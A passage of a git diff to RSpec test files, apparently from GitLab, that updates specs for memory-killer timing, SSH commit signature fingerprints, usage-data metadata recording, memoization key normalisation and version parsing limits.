+ an_object_having_attributes(name: "#{registration_prefix}group 1.1"),
+ an_object_having_attributes(name: "#{registration_prefix}group 1.1.1"),
+ an_object_having_attributes(name: "#{registration_prefix}group 1.1.2"),
+ an_object_having_attributes(name: "#{registration_prefix}group 2.1")
+ )
+
+ expect(Project.search(registration_prefix)).to contain_exactly(
+ an_object_having_attributes(name: "#{registration_prefix}project 1.1.1.1"),
+ an_object_having_attributes(name: "#{registration_prefix}project 1.1.2.1"),
+ an_object_having_attributes(name: "#{registration_prefix}project 2.1.1")
+ )
+
+ project_1_1_1_1 = Project.find_by_name("#{registration_prefix}project 1.1.1.1")
+ project_1_1_2_1 = Project.find_by_name("#{registration_prefix}project 1.1.2.1")
+ project_2_1_1 = Project.find_by_name("#{registration_prefix}project 2.1.1")
+ expect(seed).to contain_exactly(
+ { project_id: project_1_1_1_1.id, runner_ids: an_instance_of(Array) },
+ { project_id: project_1_1_2_1.id, runner_ids: an_instance_of(Array) },
+ { project_id: project_2_1_1.id, runner_ids: an_instance_of(Array) }
+ )
+ seed.each do |project|
+ expect(project[:runner_ids].length).to be_between(0, 5)
+ expect(Project.find(project[:project_id]).all_available_runners.ids).to include(*project[:runner_ids])
+ expect(::Ci::Pipeline.for_project(project[:runner_ids])).to be_empty
+ expect(::Ci::Build.where(runner_id: project[:runner_ids])).to be_empty
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb b/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb
index 5baeec93036..6f46a5aea3b 100644
--- a/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb
+++ b/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb
@@ -307,10 +307,10 @@ RSpec.describe Gitlab::SidekiqDaemon::MemoryKiller do
end
describe '#signal_and_wait' do
- let(:time) { 0 }
+ let(:time) { 0.1 }
let(:signal) { 'my-signal' }
let(:explanation) { 'my-explanation' }
- let(:check_interval_seconds) { 2 }
+ let(:check_interval_seconds) { 0.1 }
subject { memory_killer.send(:signal_and_wait, time, signal, explanation) }
@@ -318,37 +318,19 @@ RSpec.describe Gitlab::SidekiqDaemon::MemoryKiller do
stub_const("#{described_class}::CHECK_INTERVAL_SECONDS", check_interval_seconds)
end
- context 'when all jobs are finished' do
- let(:running_jobs) { {} }
-
- it 'send signal and return when all jobs finished' do
- expect(Process).to receive(:kill).with(signal, pid).ordered
- expect(Gitlab::Metrics::System).to receive(:monotonic_time).and_call_original
-
- expect(memory_killer).to receive(:enabled?).and_return(true)
-
- expect(memory_killer).not_to receive(:sleep)
-
- subject
- end
- end
+ it 'send signal and wait till deadline' do
+ expect(Process).to receive(:kill)
+ .with(signal, pid)
+ .ordered
- context 'when there are still running jobs' do
- let(:running_jobs) { { 'jid1' => { worker_class: DummyWorker } } }
-
- it 'send signal and wait till deadline if any job not finished' do
- expect(Process).to receive(:kill)
- .with(signal, pid)
- .ordered
-
- expect(Gitlab::Metrics::System).to receive(:monotonic_time)
- .and_call_original
- .at_least(:once)
+ expect(Gitlab::Metrics::System).to receive(:monotonic_time)
+ .and_call_original
+ .at_least(3)
- expect(memory_killer).to receive(:enabled?).and_return(true).at_least(:once)
+ expect(memory_killer).to receive(:enabled?).and_return(true).at_least(:twice)
+ expect(memory_killer).to receive(:sleep).at_least(:once).and_call_original
- subject
- end
+ subject
end
end
diff --git a/spec/lib/gitlab/ssh/commit_spec.rb b/spec/lib/gitlab/ssh/commit_spec.rb
index cc977a80f95..77f37857c82 100644
--- a/spec/lib/gitlab/ssh/commit_spec.rb
+++ b/spec/lib/gitlab/ssh/commit_spec.rb
@@ -1,9 +1,10 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe Gitlab::Ssh::Commit do
+RSpec.describe Gitlab::Ssh::Commit, feature_category: :source_code_management do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:signed_by_key) { create(:key) }
+ let_it_be(:fingerprint) { signed_by_key.fingerprint_sha256 }
let(:commit) { create(:commit, project: project) }
let(:signature_text) { 'signature_text' }
@@ -19,8 +20,11 @@ RSpec.describe Gitlab::Ssh::Commit do
.with(Gitlab::Git::Repository, commit.sha)
.and_return(signature_data)
- allow(verifier).to receive(:verification_status).and_return(verification_status)
- allow(verifier).to receive(:signed_by_key).and_return(signed_by_key)
+ allow(verifier).to receive_messages({
+ verification_status: verification_status,
+ signed_by_key: signed_by_key,
+ key_fingerprint: fingerprint
+ })
allow(Gitlab::Ssh::Signature).to receive(:new)
.with(signature_text, signed_text, commit.committer_email)
@@ -44,6 +48,8 @@ RSpec.describe Gitlab::Ssh::Commit do
commit_sha: commit.sha,
project: project,
key_id: signed_by_key.id,
+ key_fingerprint_sha256: signed_by_key.fingerprint_sha256,
+ user_id: signed_by_key.user_id,
verification_status: 'verified'
)
end
@@ -51,6 +57,7 @@ RSpec.describe Gitlab::Ssh::Commit do
context 'when signed_by_key is nil' do
let_it_be(:signed_by_key) { nil }
+ let_it_be(:fingerprint) { nil }
let(:verification_status) { :unknown_key }
@@ -59,6 +66,8 @@ RSpec.describe Gitlab::Ssh::Commit do
commit_sha: commit.sha,
project: project,
key_id: nil,
+ key_fingerprint_sha256: nil,
+ user_id: nil,
verification_status: 'unknown_key'
)
end
diff --git a/spec/lib/gitlab/ssh/signature_spec.rb b/spec/lib/gitlab/ssh/signature_spec.rb
index 5149972dbf9..ee9b38cae7d 100644
--- a/spec/lib/gitlab/ssh/signature_spec.rb
+++ b/spec/lib/gitlab/ssh/signature_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ssh::Signature do
+RSpec.describe Gitlab::Ssh::Signature, feature_category: :source_code_management do
# ssh-keygen -t ed25519
let_it_be(:committer_email) { 'ssh-commit-test@example.com' }
let_it_be(:public_key_text) { 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZ8NHEnCIpC4mnot+BRxv6L+fq+TnN1CgsRrHWLmfwb' }
@@ -267,4 +267,10 @@ RSpec.describe Gitlab::Ssh::Signature do
end
end
end
+
+ describe '#key_fingerprint' do
+ it 'returns the pubkey sha256 fingerprint' do
+ expect(signature.key_fingerprint).to eq('dw7gPSvYtkCBU+BbTolbbckUEX3sL6NsGIJTQ4PYEnM')
+ end
+ end
end
diff --git a/spec/lib/gitlab/submodule_links_spec.rb b/spec/lib/gitlab/submodule_links_spec.rb
index e2bbda81780..12c322ea914 100644
--- a/spec/lib/gitlab/submodule_links_spec.rb
+++ b/spec/lib/gitlab/submodule_links_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe Gitlab::SubmoduleLinks do
expect(subject.compare).to be_nil
end
- cache_store = links.instance_variable_get("@cache_store")
+ cache_store = links.instance_variable_get(:@cache_store)
expect(cache_store[ref]).to eq({ "gitlab-foss" => "git@gitlab.com:gitlab-org/gitlab-foss.git" })
end
diff --git a/spec/lib/gitlab/tracking_spec.rb b/spec/lib/gitlab/tracking_spec.rb
index 99ca402616a..e79bb2ef129 100644
--- a/spec/lib/gitlab/tracking_spec.rb
+++ b/spec/lib/gitlab/tracking_spec.rb
@@ -10,11 +10,11 @@ RSpec.describe Gitlab::Tracking do
stub_application_setting(snowplow_cookie_domain: '.gitfoo.com')
stub_application_setting(snowplow_app_id: '_abc123_')
- described_class.instance_variable_set("@tracker", nil)
+ described_class.instance_variable_set(:@tracker, nil)
end
after do
- described_class.instance_variable_set("@tracker", nil)
+ described_class.instance_variable_set(:@tracker, nil)
end
describe '.options' do
diff --git a/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb b/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb
index 10e336e9235..8be0769a379 100644
--- a/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb
@@ -58,6 +58,50 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Aggregate, :clean_gitlab_redi
end
end
+ # EE version has validation that doesn't allow undefined events
+ # On CE, we detect EE events as undefined
+ context 'when configuration includes undefined events', unless: Gitlab.ee? do
+ let(:number_of_days) { 28 }
+
+ before do
+ allow(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:known_event?).with('event3').and_return(false)
+ end
+
+ where(:operator, :datasource, :expected_method, :expected_events) do
+ 'AND' | 'redis_hll' | :calculate_metrics_intersections | %w[event1 event2]
+ 'AND' | 'database' | :calculate_metrics_intersections | %w[event1 event2 event3]
+ 'OR' | 'redis_hll' | :calculate_metrics_union | %w[event1 event2]
+ 'OR' | 'database' | :calculate_metrics_union | %w[event1 event2 event3]
+ end
+
+ with_them do
+ let(:time_frame) { "#{number_of_days}d" }
+ let(:start_date) { number_of_days.days.ago.to_date }
+ let(:params) { { start_date: start_date, end_date: end_date, recorded_at: recorded_at } }
+ let(:aggregate) do
+ {
+ source: datasource,
+ operator: operator,
+ events: %w[event1 event2 event3]
+ }
+ end
+
+ subject(:calculate_count_for_aggregation) do
+ described_class
+ .new(recorded_at)
+ .calculate_count_for_aggregation(aggregation: aggregate, time_frame: time_frame)
+ end
+
+ it 'returns the number of unique events for aggregation', :aggregate_failures do
+ expect(namespace::SOURCES[datasource])
+ .to receive(expected_method)
+ .with(params.merge(metric_names: expected_events))
+ .and_return(5)
+ expect(calculate_count_for_aggregation).to eq(5)
+ end
+ end
+ end
+
context 'with invalid configuration' do
where(:time_frame, :operator, :datasource, :expected_error) do
'28d' | 'SUM' | 'redis_hll' | namespace::UnknownAggregationOperator
diff --git a/spec/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator_spec.rb b/spec/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator_spec.rb
new file mode 100644
index 00000000000..c8c2feda234
--- /dev/null
+++ b/spec/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::ServicePing::LegacyMetricMetadataDecorator, feature_category: :service_ping do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:duration) { 123 }
+
+ where(:metric_value, :error, :metric_class) do
+ 1 | nil | Integer
+ "value" | nil | String
+ true | nil | TrueClass
+ false | nil | FalseClass
+ nil | nil | NilClass
+ nil | StandardError.new | NilClass
+ end
+
+ with_them do
+ let(:decorated_object) { described_class.new(metric_value, duration, error: error) }
+
+ it 'exposes a duration with the correct value' do
+ expect(decorated_object.duration).to eq(duration)
+ end
+
+ it 'exposes error with the correct value' do
+ expect(decorated_object.error).to eq(error)
+ end
+
+ it 'imitates wrapped class', :aggregate_failures do
+ expect(decorated_object).to eq metric_value
+ expect(decorated_object.class).to eq metric_class
+ expect(decorated_object.is_a?(metric_class)).to be_truthy
+ # rubocop:disable Style/ClassCheck
+ expect(decorated_object.kind_of?(metric_class)).to be_truthy
+ # rubocop:enable Style/ClassCheck
+ expect({ metric: decorated_object }.to_json).to eql({ metric: metric_value }.to_json)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator_spec.rb b/spec/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator_spec.rb
deleted file mode 100644
index 46592379b3d..00000000000
--- a/spec/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Usage::ServicePing::LegacyMetricTimingDecorator do
- using RSpec::Parameterized::TableSyntax
-
- let(:duration) { 123 }
-
- where(:metric_value, :metric_class) do
- 1 | Integer
- "value" | String
- true | TrueClass
- false | FalseClass
- nil | NilClass
- end
-
- with_them do
- let(:decorated_object) { described_class.new(metric_value, duration) }
-
- it 'exposes a duration with the correct value' do
- expect(decorated_object.duration).to eq(duration)
- end
-
- it 'imitates wrapped class', :aggregate_failures do
- expect(decorated_object).to eq metric_value
- expect(decorated_object.class).to eq metric_class
- expect(decorated_object.is_a?(metric_class)).to be_truthy
- # rubocop:disable Style/ClassCheck
- expect(decorated_object.kind_of?(metric_class)).to be_truthy
- # rubocop:enable Style/ClassCheck
- expect({ metric: decorated_object }.to_json).to eql({ metric: metric_value }.to_json)
- end
- end
-end
diff --git a/spec/lib/gitlab/usage_data_metrics_spec.rb b/spec/lib/gitlab/usage_data_metrics_spec.rb
index 5d58933f1fd..34f8e5b2a2f 100644
--- a/spec/lib/gitlab/usage_data_metrics_spec.rb
+++ b/spec/lib/gitlab/usage_data_metrics_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::UsageDataMetrics do
+RSpec.describe Gitlab::UsageDataMetrics, :with_license do
describe '.uncached_data' do
subject { described_class.uncached_data }
diff --git a/spec/lib/gitlab/usage_data_queries_spec.rb b/spec/lib/gitlab/usage_data_queries_spec.rb
index 2fe43c11d27..30588324adf 100644
--- a/spec/lib/gitlab/usage_data_queries_spec.rb
+++ b/spec/lib/gitlab/usage_data_queries_spec.rb
@@ -11,9 +11,9 @@ RSpec.describe Gitlab::UsageDataQueries do
end
end
- describe '.with_duration' do
+ describe '.with_metadata' do
it 'yields passed block' do
- expect { |block| described_class.with_duration(&block) }.to yield_with_no_args
+ expect { |block| described_class.with_metadata(&block) }.to yield_with_no_args
end
end
diff --git a/spec/lib/gitlab/usage_data_spec.rb b/spec/lib/gitlab/usage_data_spec.rb
index 214331e15e8..592ac280d32 100644
--- a/spec/lib/gitlab/usage_data_spec.rb
+++ b/spec/lib/gitlab/usage_data_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::UsageData, :aggregate_failures do
+RSpec.describe Gitlab::UsageData, :aggregate_failures, feature_category: :service_ping do
include UsageDataHelpers
before do
@@ -1122,12 +1122,20 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
- describe ".with_duration" do
+ describe ".with_metadata" do
it 'records duration' do
- expect(::Gitlab::Usage::ServicePing::LegacyMetricTimingDecorator)
- .to receive(:new).with(2, kind_of(Float))
+ result = described_class.with_metadata { 1 + 1 }
- described_class.with_duration { 1 + 1 }
+ expect(result.duration).to be_an(Float)
+ end
+
+ it 'records error and returns nil', :aggregated_errors do
+ allow(Gitlab::ErrorTracking).to receive(:track_and_raise_for_dev_exception)
+
+ result = described_class.with_metadata { raise }
+
+ expect(result.error).to be_an(StandardError)
+ expect(result).to be_nil
end
end
diff --git a/spec/lib/gitlab/utils/lazy_attributes_spec.rb b/spec/lib/gitlab/utils/lazy_attributes_spec.rb
index 1ebc9b0d711..430b79c3063 100644
--- a/spec/lib/gitlab/utils/lazy_attributes_spec.rb
+++ b/spec/lib/gitlab/utils/lazy_attributes_spec.rb
@@ -47,9 +47,9 @@ RSpec.describe Gitlab::Utils::LazyAttributes do
end
it 'only calls the block once even if it returned `nil`', :aggregate_failures do
- expect(instance.instance_variable_get('@number')).to receive(:call).once.and_call_original
- expect(instance.instance_variable_get('@accessor_2')).to receive(:call).once.and_call_original
- expect(instance.instance_variable_get('@incorrect_type')).to receive(:call).once.and_call_original
+ expect(instance.instance_variable_get(:@number)).to receive(:call).once.and_call_original
+ expect(instance.instance_variable_get(:@accessor_2)).to receive(:call).once.and_call_original
+ expect(instance.instance_variable_get(:@incorrect_type)).to receive(:call).once.and_call_original
2.times do
instance.number
diff --git a/spec/lib/gitlab/utils/strong_memoize_spec.rb b/spec/lib/gitlab/utils/strong_memoize_spec.rb
index 287858579d6..71f2502b91c 100644
--- a/spec/lib/gitlab/utils/strong_memoize_spec.rb
+++ b/spec/lib/gitlab/utils/strong_memoize_spec.rb
@@ -2,12 +2,13 @@
require 'fast_spec_helper'
require 'rspec-benchmark'
+require 'rspec-parameterized'
RSpec.configure do |config|
config.include RSpec::Benchmark::Matchers
end
-RSpec.describe Gitlab::Utils::StrongMemoize do
+RSpec.describe Gitlab::Utils::StrongMemoize, feature_category: :not_owned do
let(:klass) do
strong_memoize_class = described_class
@@ -35,15 +36,10 @@ RSpec.describe Gitlab::Utils::StrongMemoize do
end
strong_memoize_attr :method_name_attr
- def different_method_name_attr
+ def enabled?
trace << value
value
end
- strong_memoize_attr :different_method_name_attr, :different_member_name_attr
-
- def enabled?
- true
- end
strong_memoize_attr :enabled?
def method_name_with_args(*args)
@@ -80,6 +76,8 @@ RSpec.describe Gitlab::Utils::StrongMemoize do
subject(:object) { klass.new(value) }
shared_examples 'caching the value' do
+ let(:member_name) { described_class.normalize_key(method_name) }
+
it 'only calls the block once' do
value0 = object.send(method_name)
value1 = object.send(method_name)
@@ -103,7 +101,6 @@ RSpec.describe Gitlab::Utils::StrongMemoize do
context "with value #{value}" do
let(:value) { value }
let(:method_name) { :method_name }
- let(:member_name) { :method_name }
it_behaves_like 'caching the value'
@@ -176,31 +173,44 @@ RSpec.describe Gitlab::Utils::StrongMemoize do
end
describe '#strong_memoized?' do
- let(:value) { :anything }
+ shared_examples 'memoization check' do |method_name|
+ context "for #{method_name}" do
+ let(:value) { :anything }
- subject { object.strong_memoized?(:method_name) }
+ subject { object.strong_memoized?(method_name) }
- it 'returns false if the value is uncached' do
- is_expected.to be(false)
- end
+ it 'returns false if the value is uncached' do
+ is_expected.to be(false)
+ end
- it 'returns true if the value is cached' do
- object.method_name
+ it 'returns true if the value is cached' do
+ object.public_send(method_name)
- is_expected.to be(true)
+ is_expected.to be(true)
+ end
+ end
end
+
+ it_behaves_like 'memoization check', :method_name
+ it_behaves_like 'memoization check', :enabled?
end
describe '#clear_memoization' do
- let(:value) { 'mepmep' }
+ shared_examples 'clearing memoization' do |method_name|
+ let(:member_name) { described_class.normalize_key(method_name) }
+ let(:value) { 'mepmep' }
- it 'removes the instance variable' do
- object.method_name
+ it 'removes the instance variable' do
+ object.public_send(method_name)
- object.clear_memoization(:method_name)
+ object.clear_memoization(method_name)
- expect(object.instance_variable_defined?(:@method_name)).to be(false)
+ expect(object.instance_variable_defined?(:"@#{member_name}")).to be(false)
+ end
end
+
+ it_behaves_like 'clearing memoization', :method_name
+ it_behaves_like 'clearing memoization', :enabled?
end
describe '.strong_memoize_attr' do
@@ -209,7 +219,6 @@ RSpec.describe Gitlab::Utils::StrongMemoize do
context "memoized after method definition with value #{value}" do
let(:method_name) { :method_name_attr }
- let(:member_name) { :method_name_attr }
it_behaves_like 'caching the value'
@@ -218,30 +227,7 @@ RSpec.describe Gitlab::Utils::StrongMemoize do
end
it 'retains method arity' do
- expect(klass.instance_method(member_name).arity).to eq(0)
- end
- end
-
- context "memoized before method definition with different member name and value #{value}" do
- let(:method_name) { :different_method_name_attr }
- let(:member_name) { :different_member_name_attr }
-
- it_behaves_like 'caching the value'
-
- it 'calls the existing .method_added' do
- expect(klass.method_added_list).to include(:different_method_name_attr)
- end
- end
-
- context 'with valid method name' do
- let(:method_name) { :enabled? }
-
- context 'with invalid member name' do
- let(:member_name) { :enabled? }
-
- it 'is invalid' do
- expect { object.send(method_name) { value } }.to raise_error /is not allowed as an instance variable name/
- end
+ expect(klass.instance_method(method_name).arity).to eq(0)
end
end
end
@@ -299,4 +285,41 @@ RSpec.describe Gitlab::Utils::StrongMemoize do
end
end
end
+
+ describe '.normalize_key' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { described_class.normalize_key(input) }
+
+ where(:input, :output, :valid) do
+ :key | :key | true
+ "key" | "key" | true
+ :key? | "key?" | true
+ "key?" | "key?" | true
+ :key! | "keyï¼" | true
+ "key!" | "keyï¼" | true
+ # invalid cases caught elsewhere
+ :"ke?y" | :"ke?y" | false
+ "ke?y" | "ke?y" | false
+ :"ke!y" | :"ke!y" | false
+ "ke!y" | "ke!y" | false
+ end
+
+ with_them do
+ let(:ivar) { "@#{output}" }
+
+ it { is_expected.to eq(output) }
+
+ if params[:valid]
+ it 'is a valid ivar name' do
+ expect { instance_variable_defined?(ivar) }.not_to raise_error
+ end
+ else
+ it 'raises a NameError error' do
+ expect { instance_variable_defined?(ivar) }
+ .to raise_error(NameError, /not allowed as an instance/)
+ end
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/utils/usage_data_spec.rb b/spec/lib/gitlab/utils/usage_data_spec.rb
index 13d046b0816..2925ceef256 100644
--- a/spec/lib/gitlab/utils/usage_data_spec.rb
+++ b/spec/lib/gitlab/utils/usage_data_spec.rb
@@ -31,9 +31,9 @@ RSpec.describe Gitlab::Utils::UsageData do
end
end
- describe '.with_duration' do
+ describe '.with_metadata' do
it 'yields passed block' do
- expect { |block| described_class.with_duration(&block) }.to yield_with_no_args
+ expect { |block| described_class.with_metadata(&block) }.to yield_with_no_args
end
end
@@ -55,7 +55,7 @@ RSpec.describe Gitlab::Utils::UsageData do
end
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
allow(relation).to receive(:count).and_return(1)
described_class.count(relation, batch: false)
@@ -82,7 +82,7 @@ RSpec.describe Gitlab::Utils::UsageData do
end
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
allow(relation).to receive(:distinct_count_by).and_return(1)
described_class.distinct_count(relation, batch: false)
@@ -242,7 +242,7 @@ RSpec.describe Gitlab::Utils::UsageData do
end
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
allow(Gitlab::Database::BatchCount).to receive(:batch_sum).and_return(1)
described_class.sum(relation, :column)
@@ -272,7 +272,7 @@ RSpec.describe Gitlab::Utils::UsageData do
end
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
allow(Gitlab::Database::BatchCount).to receive(:batch_average).and_return(1)
@@ -367,14 +367,14 @@ RSpec.describe Gitlab::Utils::UsageData do
end
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
described_class.histogram(relation, column, buckets: 1..100)
end
context 'when query timeout' do
subject do
- with_statement_timeout(0.001) do
+ with_statement_timeout(0.001, connection: ApplicationRecord.connection) do
relation = AlertManagement::HttpIntegration.select('pg_sleep(0.002)')
described_class.histogram(relation, column, buckets: 1..100)
end
@@ -425,7 +425,7 @@ RSpec.describe Gitlab::Utils::UsageData do
end
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
described_class.add
end
@@ -455,7 +455,7 @@ RSpec.describe Gitlab::Utils::UsageData do
end
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
described_class.alt_usage_data
end
@@ -471,7 +471,7 @@ RSpec.describe Gitlab::Utils::UsageData do
describe '#redis_usage_data' do
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
described_class.redis_usage_data
end
@@ -520,7 +520,7 @@ RSpec.describe Gitlab::Utils::UsageData do
describe '#with_prometheus_client' do
it 'records duration' do
- expect(described_class).to receive(:with_duration)
+ expect(described_class).to receive(:with_metadata)
described_class.with_prometheus_client { |client| client }
end
diff --git a/spec/lib/gitlab/version_info_spec.rb b/spec/lib/gitlab/version_info_spec.rb
index 078f952afad..99c7a762392 100644
--- a/spec/lib/gitlab/version_info_spec.rb
+++ b/spec/lib/gitlab/version_info_spec.rb
@@ -92,6 +92,8 @@ RSpec.describe Gitlab::VersionInfo do
it { expect(described_class.parse("1.0.0-rc1-ee")).to eq(@v1_0_0) }
it { expect(described_class.parse("git 1.0.0b1")).to eq(@v1_0_0) }
it { expect(described_class.parse("git 1.0b1")).not_to be_valid }
+ it { expect(described_class.parse("1.1.#{'1' * described_class::MAX_VERSION_LENGTH}")).not_to be_valid }
+ it { expect(described_class.parse(nil)).not_to be_valid }
context 'with parse_suffix: true' do
let(:versions) do
@@ -182,4 +184,10 @@ RSpec.describe Gitlab::VersionInfo do
it { expect(@v1_0_1.without_patch).to eq(@v1_0_0) }
it { expect(@v1_0_1_rc1.without_patch).to eq(@v1_0_0) }
end
+
+ describe 'MAX_VERSION_LENGTH' do
+ subject { described_class::MAX_VERSION_LENGTH }
+
+ it { is_expected.to eq(128) }
+ end
end
diff --git a/spec/lib/google_api/cloud_platform/client_spec.rb b/spec/lib/google_api/cloud_platform/client_spec.rb
index 82ab6c089da..4ea395830ad 100644
--- a/spec/lib/google_api/cloud_platform/client_spec.rb
+++ b/spec/lib/google_api/cloud_platform/client_spec.rb
@@ -6,7 +6,6 @@ require 'google/apis/sqladmin_v1beta4'
RSpec.describe GoogleApi::CloudPlatform::Client do
let(:token) { 'token' }
let(:client) { described_class.new(token, nil) }
- let(:user_agent_options) { client.instance_eval { user_agent_header } }
let(:gcp_project_id) { String('gcp_proj_id') }
let(:operation) { true }
let(:database_instance) { Google::Apis::SqladminV1beta4::DatabaseInstance.new(state: 'RUNNABLE') }
@@ -77,150 +76,6 @@ RSpec.describe GoogleApi::CloudPlatform::Client do
end
end
- describe '#projects_zones_clusters_get' do
- subject { client.projects_zones_clusters_get(spy, spy, spy) }
-
- let(:gke_cluster) { double }
-
- before do
- allow_any_instance_of(Google::Apis::ContainerV1::ContainerService)
- .to receive(:get_zone_cluster).with(any_args, options: user_agent_options)
- .and_return(gke_cluster)
- end
-
- it { is_expected.to eq(gke_cluster) }
- end
-
- describe '#projects_zones_clusters_create' do
- subject do
- client.projects_zones_clusters_create(
- project_id, zone, cluster_name, cluster_size, machine_type: machine_type, legacy_abac: legacy_abac, enable_addons: enable_addons)
- end
-
- let(:project_id) { 'project-123' }
- let(:zone) { 'us-central1-a' }
- let(:cluster_name) { 'test-cluster' }
- let(:cluster_size) { 1 }
- let(:machine_type) { 'n1-standard-2' }
- let(:legacy_abac) { true }
- let(:enable_addons) { [] }
-
- let(:addons_config) do
- enable_addons.index_with do
- { disabled: false }
- end
- end
-
- let(:cluster_options) do
- {
- cluster: {
- name: cluster_name,
- initial_node_count: cluster_size,
- node_config: {
- machine_type: machine_type,
- oauth_scopes: [
- "https://www.googleapis.com/auth/devstorage.read_only",
- "https://www.googleapis.com/auth/logging.write",
- "https://www.googleapis.com/auth/monitoring"
- ]
- },
- master_auth: {
- client_certificate_config: {
- issue_client_certificate: true
- }
- },
- legacy_abac: {
- enabled: legacy_abac
- },
- ip_allocation_policy: {
- use_ip_aliases: true,
- cluster_ipv4_cidr_block: '/16'
- },
- addons_config: addons_config
- }
- }
- end
-
- let(:create_cluster_request_body) { double('Google::Apis::ContainerV1beta1::CreateClusterRequest') }
- let(:operation) { double }
-
- before do
- allow_any_instance_of(Google::Apis::ContainerV1beta1::ContainerService)
- .to receive(:create_cluster).with(any_args)
- .and_return(operation)
- end
-
- it 'sets corresponded parameters' do
- expect_any_instance_of(Google::Apis::ContainerV1beta1::ContainerService)
- .to receive(:create_cluster).with(project_id, zone, create_cluster_request_body, options: user_agent_options)
-
- expect(Google::Apis::ContainerV1beta1::CreateClusterRequest)
- .to receive(:new).with(cluster_options).and_return(create_cluster_request_body)
-
- expect(subject).to eq operation
- end
-
- context 'create without legacy_abac' do
- let(:legacy_abac) { false }
-
- it 'sets corresponded parameters' do
- expect_any_instance_of(Google::Apis::ContainerV1beta1::ContainerService)
- .to receive(:create_cluster).with(project_id, zone, create_cluster_request_body, options: user_agent_options)
-
- expect(Google::Apis::ContainerV1beta1::CreateClusterRequest)
- .to receive(:new).with(cluster_options).and_return(create_cluster_request_body)
-
- expect(subject).to eq operation
- end
- end
-
- context 'create with enable_addons for cloud_run' do
- let(:enable_addons) { [:http_load_balancing, :istio_config, :cloud_run_config] }
-
- it 'sets corresponded parameters' do
- expect_any_instance_of(Google::Apis::ContainerV1beta1::ContainerService)
- .to receive(:create_cluster).with(project_id, zone, create_cluster_request_body, options: user_agent_options)
-
- expect(Google::Apis::ContainerV1beta1::CreateClusterRequest)
- .to receive(:new).with(cluster_options).and_return(create_cluster_request_body)
-
- expect(subject).to eq operation
- end
- end
- end
-
- describe '#projects_zones_operations' do
- subject { client.projects_zones_operations(spy, spy, spy) }
-
- let(:operation) { double }
-
- before do
- allow_any_instance_of(Google::Apis::ContainerV1::ContainerService)
- .to receive(:get_zone_operation).with(any_args, options: user_agent_options)
- .and_return(operation)
- end
-
- it { is_expected.to eq(operation) }
- end
-
- describe '#parse_operation_id' do
- subject { client.parse_operation_id(self_link) }
-
- context 'when expected url' do
- let(:self_link) do
- 'projects/gcp-project-12345/zones/us-central1-a/operations/ope-123'
- end
-
- it { is_expected.to eq('ope-123') }
- end
-
- context 'when unexpected url' do
- let(:self_link) { '???' }
-
- it { is_expected.to be_nil }
- end
- end
-
describe '#user_agent_header' do
subject { client.instance_eval { user_agent_header } }
diff --git a/spec/lib/object_storage/direct_upload_spec.rb b/spec/lib/object_storage/direct_upload_spec.rb
index c2201fb60ac..569e6a3a7c6 100644
--- a/spec/lib/object_storage/direct_upload_spec.rb
+++ b/spec/lib/object_storage/direct_upload_spec.rb
@@ -234,6 +234,7 @@ RSpec.describe ObjectStorage::DirectUpload do
expect(subject[:GetURL]).to start_with(storage_url)
expect(subject[:StoreURL]).to start_with(storage_url)
expect(subject[:DeleteURL]).to start_with(storage_url)
+ expect(subject[:SkipDelete]).to eq(false)
expect(subject[:CustomPutHeaders]).to be_truthy
expect(subject[:PutHeaders]).to eq({})
end
diff --git a/spec/lib/sidebars/groups/menus/observability_menu_spec.rb b/spec/lib/sidebars/groups/menus/observability_menu_spec.rb
index 3a91b1aea2f..5b993cd6f28 100644
--- a/spec/lib/sidebars/groups/menus/observability_menu_spec.rb
+++ b/spec/lib/sidebars/groups/menus/observability_menu_spec.rb
@@ -20,23 +20,25 @@ RSpec.describe Sidebars::Groups::Menus::ObservabilityMenu do
allow(menu).to receive(:can?).and_call_original
end
- context 'when user can :read_observability' do
+ context 'when observability is enabled' do
before do
